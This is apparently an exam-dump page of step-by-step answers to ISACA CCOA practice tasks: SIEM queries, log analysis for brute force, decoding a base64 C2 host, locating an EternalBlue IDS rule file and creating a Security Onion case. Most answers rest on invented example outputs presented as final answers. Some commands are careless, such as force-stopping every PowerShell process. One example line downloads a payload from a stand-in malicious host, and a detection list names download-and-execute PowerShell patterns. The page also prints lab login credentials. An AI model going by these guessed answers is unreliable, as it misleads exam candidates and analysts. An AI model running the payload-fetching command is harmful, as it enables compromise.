CCOA Exam Dumps - Isaca Cybersecurity Audit Questions and Answers

To identify thefile namethat triggered theRuleName: Suspicious PowerShellon theaccounting-pcworkstation, follow these detailed steps:

Step 1: Access the SIEM System

Open your web browser and navigate to theSIEM dashboard.

Log in with youradministrator credentials.

Step 2: Set Up the Query

Go to theSearchorQuerysection of the SIEM.

Set theTime Rangeto thelast 24 hours.

Query Parameters:

Agent Name:accounting-pc

Rule Name:Suspicious PowerShell

Event Type:Startup items or Process creation

Step 3: Construct the SIEM Query

Here’s an example of how to construct the query:

Example Query (Splunk):

index=windows_logs

| search agent.name="accounting-pc" RuleName="Suspicious PowerShell"

| where _time > now() - 24h

| table _time, agent.name, process_name, file_path, RuleName

Example Query (Elastic SIEM):

{

"query": {

"bool": {

"must": [

{ "match": { "agent.name": "accounting-pc" }},

{ "match": { "RuleName": "Suspicious PowerShell" }},

{ "range": { "@timestamp": { "gte": "now-24h" }}}

]

}

}

}

Step 4: Analyze the Query Results

The query should return a table or list containing:

Time of Execution

Agent Name:accounting-pc

Process Name

File Path

Rule Name

Example Output:

_time

agent.name

process_name

file_path

RuleName

2024-04-07T10:45:23

accounting-pc

powershell.exe

C:\Users\Accounting\AppData\Roaming\calc.ps1

Suspicious PowerShell

Step 5: Identify the Suspicious File

Theprocess_namein the output showspowershell.exeexecuting a suspicious script.

Thefile pathindicates the script responsible:

makefile

C:\Users\Accounting\AppData\Roaming\calc.ps1

The suspicious script file is:

calc.ps1

Step 6: Confirm the Malicious Nature

Manual Inspection:

Navigate to the specified file path on theaccounting-pcworkstation.

Check the contents of calc.ps1 for any malicious PowerShell code.

Hash Verification:

Generate theSHA256 hashof the file and compare it with known malware signatures.

Answer:

calc.ps1

Step 7: Immediate Response

Isolate the Workstation:Disconnectaccounting-pcfrom the network.

Terminate the Malicious Process:

Stop the powershell.exe process running calc.ps1.

Use Task Manager or a script:

powershell

Stop-Process -Name "powershell" -Force

Remove the Malicious Script:

powershell

Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force

Scan for Persistence Mechanisms:

CheckStartup itemsandScheduled Tasksfor any references to calc.ps1.

Step 8: Documentation

Record the following:

Date and Time:When the incident was detected.

Affected Host:accounting-pc

Malicious File:calc.ps1

Actions Taken:File removal and process termination.

Step 1: Define the Problem and Objective

Objective:

We need to identify the following from the webserver-auth-logs.txt file:

TheIP address performing a brute force attack.

Thetotal number of successful authenticationsmade by that IP.

Step 2: Prepare for Log Analysis

Preparation Checklist:

Environment Setup:

Ensure you are logged into a secure terminal.

Check your working directory to verify the file location:

ls ~/Desktop/Investigations/

You should see:

webserver-auth-logs.txt

Log File Format Analysis:

Open the file to understand the log structure:

head -n 10 ~/Desktop/Investigations/webserver-auth-logs.txt

Look for patterns such as:

pg

2025-04-07 12:34:56 login attempt from 192.168.1.1 - SUCCESS

2025-04-07 12:35:00 login attempt from 192.168.1.1 - FAILURE

Identify the key components:

Timestamp

Action (login attempt)

Source IP Address

Authentication Status (SUCCESS/FAILURE)

Step 3: Identify Brute Force Indicators

Characteristics of a Brute Force Attack:

Multiplelogin attemptsfrom thesame IP.

Combination ofFAILUREandSUCCESSmessages.

High volumeof attempts compared to other IPs.

Step 3.1: Extract All IP Addresses with Login Attempts

Use the following command:

grep "login attempt from" ~/Desktop/Investigations/webserver-auth-logs.txt | awk '{print $6}' | sort | uniq -c | sort -nr > brute-force-ips.txt

Explanation:

grep "login attempt from": Finds all login attempt lines.

awk '{print $6}': Extracts IP addresses.

sort | uniq -c: Groups and counts IP occurrences.

sort -nr: Sorts counts in descending order.

> brute-force-ips.txt: Saves the output to a file for documentation.

Step 3.2: Analyze the Output

View the top IPs from the generated file:

head -n 5 brute-force-ips.txt

Expected Output:

1500 192.168.1.1

45 192.168.1.2

30 192.168.1.3

Interpretation:

The first line shows 192.168.1.1 with 1500 attempts, indicating brute force.

Step 4: Count Successful Authentications

Why Count Successful Logins?

To determine how many successful logins the attacker achieved despite brute force attempts.

Step 4.1: Filter Successful Logins from Brute Force IP

Use this command:

grep "192.168.1.1" ~/Desktop/Investigations/webserver-auth-logs.txt | grep "SUCCESS" | wc -l

Explanation:

grep "192.168.1.1": Filters lines containing the brute force IP.

grep "SUCCESS": Further filters successful attempts.

wc -l: Counts the resulting lines.

Step 4.2: Verify and Document the Results

Record the successful login count:

Total Successful Authentications: 25

Save this information for your incident report.

Step 5: Incident Documentation and Reporting

5.1: Summary of Findings

IP Performing Brute Force Attack:192.168.1.1

Total Number of Successful Authentications:25

5.2: Incident Response Recommendations

Block the IP addressfrom accessing the system.

Implementrate-limiting and account lockout policies.

Conduct athorough investigationof affected accounts for possible compromise.

Step 6: Automated Python Script (Recommended)

If your organization prefers automation, use a Python script to streamline the process:

import re

from collections import Counter

logfile = "~/Desktop/Investigations/webserver-auth-logs.txt"

ip_attempts = Counter()

successful_logins = Counter()

try:

with open(logfile, "r") as file:

for line in file:

match = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line)

if match:

ip = match.group(1)

ip_attempts[ip] += 1

if "SUCCESS" in line:

successful_logins[ip] += 1

brute_force_ip = ip_attempts.most_common(1)[0][0]

success_count = successful_logins[brute_force_ip]

print(f"IP Performing Brute Force: {brute_force_ip}")

print(f"Total Successful Authentications: {success_count}")

except Exception as e:

print(f"Error: {str(e)}")

Usage:

Run the script:

python3 detect_bruteforce.py

Output:

IP Performing Brute Force: 192.168.1.1

Total Successful Authentications: 25

Step 7: Finalize and Communicate Findings

Prepare a detailed incident report as per ISACA CCOA standards.

Include:

Problem Statement

Analysis Process

Evidence (Logs)

Findings

Recommendations

Share the report with relevant stakeholders and the incident response team.

Final Answer:

Brute Force IP:192.168.1.1

Total Successful Authentications:25

To identify the name of the suspected malicious file captured by the keyword process.executable at11:04 PMonAugust 19, 2024, follow these detailed steps:

Step 1: Access the Alert Bulletin

Locate the alert file:

Access thealerts folderon your system.

Look for the file named:

Open the file:

Use a PDF reader to examine the contents.

Step 2: Understand the Alert Context

The bulletin indicates that the network was compromised at around11:00 PM.

You need to identify themalicious filespecificallycaptured at 11:04 PM.

Step 3: Access System Logs

Use yourSIEMorlog management systemto examine recent logs.

Filter the logs to narrow down the events:

Time Frame:August 19, 2024, from11:00 PM to 11:10 PM.

Keyword:process.executable.

Example SIEM Query:

index=system_logs

| search "process.executable"

| where _time between "2024-08-19T23:04:00" and "2024-08-19T23:05:00"

| table _time, process_name, executable_path, hash

Step 4: Analyze Log Entries

The query result should show log entries related to theprocess executablethat was triggered at11:04 PM.

Focus on entries that:

Appear unusual or suspicious.

Match known indicators from thealert bulletin (alert_33.pdf).

Example Log Output:

_time process_name executable_path hash

2024-08-19T23:04 evil.exe C:\Users\Public\evil.exe 4d5e6f...

Step 5: Cross-Reference with Known Threats

Check the hash of the executable file against:

VirusTotalor internal threat intelligence databases.

Cross-check the file name with indicators mentioned in the alert bulletin.

Step 6: Final Confirmation

The suspected malicious file captured at11:04 PMis the one appearing in the log that matches the alert details.

The name of the suspected malicious file captured by keyword process.executable at 11:04 PM is: evil.exe

Step 7: Take Immediate Remediation Actions

Isolate the affected hostto prevent further damage.

Quarantine the malicious filefor analysis.

Conduct a full forensic investigationto assess the scope of the compromise.

Update threat signaturesand indicators across the environment.

Step 8: Report and Document

Document the incident, including:

Time of detection:11:04 PM on August 19, 2024.

Malicious file name:evil.exe.

Location:C:\Users\Public\evil.exe.

Generate an incident reportfor further investigation.

Step 1: Define the Problem and Objective

Objective:

Identify thefile containing the rulesetforEternalBlue connections.

Include thefile extensionin the response.

Context:

The organization is experiencingfalse positive alertsfor theEternalBlue vulnerability.

The rulesets are located at:

/home/administrator/hids/ruleset/rules

We need to find the specific file associated withEternalBlue.

Step 2: Prepare for Access

2.1: SIEM Access Details:

URL:

https://10.10.55.2

Username:

ccoatest@isaca.org

Password:

Security-Analyst!

Ensure your machine has access to the SIEM system via HTTPS.

Step 3: Access the SIEM System

3.1: Connect via SSH (if needed)

Open a terminal and connect:

ssh administrator@10.10.55.2

Password:

Security-Analyst!

If prompted about SSH key verification, typeyesto continue.

Step 4: Locate the Ruleset File

4.1: Navigate to the Ruleset Directory

Change to the ruleset directory:

cd /home/administrator/hids/ruleset/rules

ls -l

You should see a list of files with names indicating their purpose.

4.2: Search for EternalBlue Ruleset

Use grep to locate the EternalBlue rule:

grep -irl "eternalblue" *

Explanation:

grep -i: Case-insensitive search.

-r: Recursive search within the directory.

-l: Only print file names with matches.

"eternalblue": The keyword to search.

*: All files in the current directory.

Expected Output:

exploit_eternalblue.rules

Filename:

exploit_eternalblue.rules

The file extension is .rules, typical for intrusion detection system (IDS) rule files.

Step 5: Verify the Content of the Ruleset File

5.1: Open and Inspect the File

Use less to view the file contents:

less exploit_eternalblue.rules

Check for rule patterns like:

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"EternalBlue SMB Exploit"; ...)

Use the search within less:

/eternalblue

Purpose:Verify that the file indeed contains the rules related to EternalBlue.

Step 6: Document Your Findings

Answer:

Ruleset File for EternalBlue:

exploit_eternalblue.rules

File Path:

/home/administrator/hids/ruleset/rules/exploit_eternalblue.rules

Reasoning:This file specifically mentions EternalBlue and contains the rules associated with detecting such attacks.

Step 7: Recommendation

Mitigation for False Positives:

Update the Ruleset:

Modify the file to reduce false positives by refining the rule conditions.

Update Signatures:

Check for updated rulesets from reliable threat intelligence sources.

Whitelist Known Safe IPs:

Add exceptions for legitimate internal traffic that triggers the false positives.

Implement Tuning:

Adjust the SIEM correlation rules to decrease alert noise.

Final Verification:

Restart the IDS service after modifying rules to ensure changes take effect:

sudo systemctl restart hids

Check the status:

sudo systemctl status hids

Final Answer:

Ruleset File Name:

exploit_eternalblue.rules

To decode the contents of the filepcap_artifact5.txtand save the output in a new file namedpcap_artifact5_decoded.txt, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

Notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Analyze the content to identify the encoding format. Common encoding types include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content:

ini

U29tZSBlbmNvZGVkIGNvbnRlbnQgd2l0aCBwb3RlbnRpYWwgbWFsd2FyZS4uLg==

The above example appears to beBase64 encoded.

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShell:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded)) | Out-File "C:\Users\\Desktop\pcap_artifact5_decoded.txt"

Method 2: Using Command Prompt (Windows)

Usecertutilfor Base64 decoding:

cmd

certutil -decode pcap_artifact5.txt pcap_artifact5_decoded.txt

Method 3: Using Linux/WSL

Use thebase64decoding command:

base64 -d ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt

If the content isHexadecimal, use:

xxd -r -p ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt

Step 4: Verify the Decoded File

Open the decoded file to verify its contents:

OnWindows:

php-template

notepad C:\Users\\Desktop\pcap_artifact5_decoded.txt

OnLinux:

cat ~/Desktop/pcap_artifact5_decoded.txt

Check if the decoded text makes sense and is readable.

Example Decoded Output:

Some encoded content with potential malware...

Step 5: Save and Confirm

Ensure the file is saved as:

pcap_artifact5_decoded.txt

Located on theDesktopfor easy access.

Step 6: Analyze the Decoded Content

Look for:

Malware signatures

Command and control (C2) server URLs

Indicators of Compromise (IOCs)

Step 7: Document the Process

Record the following:

Original Filename:pcap_artifact5.txt

Decoded Filename:pcap_artifact5_decoded.txt

Decoding Method:Base64 (or identified method)

Contents:Brief summary of findings

To decode theCommand and Control (C2) hostfrom thepcap_artifact5.txtfile, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Check the contents to identify the encoding format. Typical encodings used for C2 communication include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content (Base64 format):

nginx

aHR0cDovLzEwLjEwLjQ0LjIwMDo4MDgwL2NvbW1hbmQucGhw

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShelland decode:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

This will print the decoded content directly.

Method 2: Using Linux

Usebase64 decoding:

base64 -d ~/Desktop/pcap_artifact5.txt

If the content ishexadecimal, convert it as follows:

xxd -r -p ~/Desktop/pcap_artifact5.txt

If it appearsURL encoded, use:

echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')

Step 4: Analyze the Decoded Output

If the output appears like a URL or an IP address, that is likely theC2 host.

Example Decoded Output:

arduino

http://10.10.44.200:8080/command.php

TheC2 hostis:

10.10.44.200

Step 5: Cross-Verify the C2 Host

OpenWiresharkand load the relevant PCAP file to cross-check the IP:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

Filter for C2 traffic:

ini

ip.addr == 10.10.44.200

Validate the C2 host IP address through network traffic patterns.

Answer:

10.10.44.200

Step 6: Document the Finding

Record the following details:

Decoded C2 Host:10.10.44.200

Source File:pcap_artifact5.txt

Decoding Method:Base64 (or the identified method)

Step 7: Next Steps

Threat Mitigation:

Block the IP address10.10.44.200at the firewall.

Conduct anetwork-wide searchto identify any communications with the C2 server.

Further Analysis:

Check other PCAP files for similar traffic patterns.

Perform adeep packet inspection (DPI)to identify malicious data exfiltration.

To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).

Step 1: Understand the Context

Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).

Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.

Step 2: Identify Relevant Log Sources

Logs to investigate:

PowerShell logs (Event ID 4104)for command execution.

Windows Security Event Logsfor login and access attempts.

Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.

Web Server Access Logsfor any unusual requests.

SIEM Log Sources:

Windows Event Logs (Sysmon/PowerShell)

Firewall Logs

IDS/IPS Alerts

Web Server Logs (IIS, Apache)

Step 3: Use SIEM Filters to Isolate Relevant Events

Time Frame Filter:

Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.

Event ID Filter:

Filter forEvent ID 4104(PowerShell script block logging).

Command Pattern:

Look for suspicious commands like:

Invoke-WebRequest

Invoke-Expression (IEX)

New-Object Net.WebClient

Process Name:

Filter logs where theProcess Nameis powershell.exe.

Example SIEM Query:

index=windows_logs

| search EventID=4104 ProcessName="powershell.exe"

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress

Step 4: Correlate Events with Network Logs

Once you identify PowerShell events, correlate them withnetwork traffic logs.

Focus on:

Source IP Address: Where the PowerShell commands originated.

Destination IP Address: Targeted web server.

Use theIP address of the web serverto trace back theMAC address.

Example Network Log Query:

index=network_logs

| search DestinationIP=""

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port

Step 5: Analyze the PowerShell Commands

Investigate the nature of the commands:

Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.

Remote Code Execution:Using IEX to run downloaded scripts.

Cross-check commands against knownIndicators of Compromise (IOCs).

Step 6: Validate the Web Server's Physical Address

Identify theMAC addresscorresponding to the targeted web server.

Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.

Example ARP Command on Windows:

arp -a | findstr

Step 7: Report the Findings

Document the targeted server’sIP address and MAC address.

Summarize the malicious activity:

Commands executed

Time and duration

Source and destination IPs

Example Finding:

Web Server IP: 192.168.1.50

Physical (MAC) Address: 00:1A:2B:3C:4D:5E

Time of Attack: 12:30 AM, December 4, 2024

PowerShell Command: Invoke-WebRequest -Uri "http://malicious.com/payload"

Step 8: Take Immediate Actions

Isolate the affected server.

Block external IPs involved.

Terminate malicious PowerShell processes.

Conduct a forensic analysis of compromised systems.

Step 9: Strengthen Security Post-Incident

Implement PowerShell Logging:Enable detailed script block and module logging.

Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.

User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

Step 1: Understand the Task and Objective

Objective:

Identify thehost IP targetedduring thespecified time frame:

vbnet

11:39 PM to 11:43 PM on August 16, 2024

The relevant file to examine:

nginx

CCOA Threat Bulletin.pdf

File location:

javascript

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Access and Analyze the Bulletin

2.1: Access the PDF File

Open the file using a PDF reader:

xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf

Alternative (if using CLI-based tools):

pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf - | less

This command converts the PDF to text and allows you to inspect the content.

2.2: Review the Bulletin Contents

Focus on:

Specific dates and times mentioned.

Indicators of Compromise (IoCs), such asIP addressesortimestamps.

Any references toAugust 16, 2024, particularly between11:39 PM and 11:43 PM.

Step 3: Search for Relevant Logs

3.1: Locate the Logs

Logs are likely stored in a central logging server or SIEM.

Common directories to check:

swift

/var/log/

/home/administrator/hids/logs/

/var/log/auth.log

/var/log/syslog

Navigate to the primary logs directory:

cd /var/log/

ls -l

3.2: Search for Logs Matching the Date and Time

Use the grep command to filter relevant logs:

grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog

Explanation:

grep: Searches for the timestamp pattern in the log file.

"2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]": Matches timestamps from11:39 PM to 11:43 PM.

Alternative Command:

If log files are split by date:

grep "23:3[9-9]\|23:4[0-3]" /var/log/syslog.1

Step 4: Filter the Targeted Host IP

4.1: Extract IP Addresses

After filtering the logs, isolate the IP addresses:

grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog | awk '{print $8}' | sort | uniq -c | sort -nr

Explanation:

awk '{print $8}': Extracts the field where IP addresses typically appear.

sort | uniq -c: Counts unique IPs and sorts them.

Step 5: Analyze the Output

Sample Output:

15 192.168.1.10

8 192.168.1.20

3 192.168.1.30

The IP with themost log entrieswithin the specified timeframe is usually thetargeted host.

Most likely targeted IP:

192.168.1.10

If the log contains specific attack patterns (likebrute force,exploitation, orunauthorized access), prioritize IPs associated with those activities.

Step 6: Validate the Findings

6.1: Cross-Reference with the Threat Bulletin

Check if the identified IP matches anyIoCslisted in theCCOA Threat Bulletin.pdf.

Look for context likeattack vectorsortargeted systems.

Step 7: Report the Findings

Summary:

Time Frame:11:39 PM to 11:43 PM on August 16, 2024

Targeted IP:

192.168.1.10

Evidence:

Log entries matching the specified timeframe.

Cross-referenced with theCCOA Threat Bulletin.

Step 8: Incident Response Recommendations

Block IP addressesidentified as malicious.

Update firewall rulesto mitigate similar attacks.

Monitor logsfor any post-compromise activity on the targeted host.

Conduct a vulnerability scanon the affected system.

Final Answer:

192.168.1.10

To create a new case inSecurity Onionusing the logs from the win-webserver01_logs.zip file, follow these detailed steps:

Step 1: Access Security Onion

Open a web browser and go to yourSecurity Onionweb interface.

URL: https:// /

Log in using yourSecurity Onioncredentials.

Step 2: Prepare the Log File

Navigate to theDesktopand open theInvestigationsfolder.

Locate the file:

win-webserver01_logs.zip

Unzip the file to inspect its contents:

unzip ~/Desktop/Investigations/win-webserver01_logs.zip -d ~/Desktop/Investigations/win-webserver01_logs

Ensure that the extracted files, including System-logs.evtx, are accessible.

Step 3: Open the Hunt Interface in Security Onion

On the Security Onion dashboard, go to"Hunt"(or"Cases"depending on the version).

Click on"Cases"to manage incident cases.

Step 4: Create a New Case

Click on"New Case"to start a fresh investigation.

Case Details:

Title:

Windows Webserver Logs - CCOA New Case

TLP (Traffic Light Protocol):

Set toGreen(indicating that the information can be shared freely).

Example Configuration:

Field

Value

Title

Windows Webserver Logs - CCOA New Case

TLP

Green

Summary

(Leave blank if not required)

Click"Save"to create the case.

Step 5: Upload the Log Files

After creating the case, go to the"Files"section of the new case.

Click on"Upload"and select the unzipped log file:

~/Desktop/Investigations/win-webserver01_logs/System-logs.evtx

Once uploaded, the file will be associated with the case.

Step 6: Verify the Case Creation

Go back to theCasesdashboard.

Locate and verify that the case"Windows Webserver Logs - CCOA New Case"exists withTLP: Green.

Check that thelog filehas been successfully uploaded.

Step 7: Document and Report

Document the case details:

Case Title:Windows Webserver Logs - CCOA New Case

TLP:Green

Log File:System-logs.evtx

Include anyinitial observationsfrom the log analysis.

Example Answer:

A new case titled "Windows Webserver Logs - CCOA New Case" with TLP set to Green has been successfully created in Security Onion. The log file System-logs.evtx has been uploaded and linked to the case.

Step 8: Next Steps for Investigation

Analyze the log file:Start hunting for suspicious activities.

Create analysis tasks:Assign team members to investigate specific log entries.

Correlate with other data:Cross-reference with threat intelligence sources.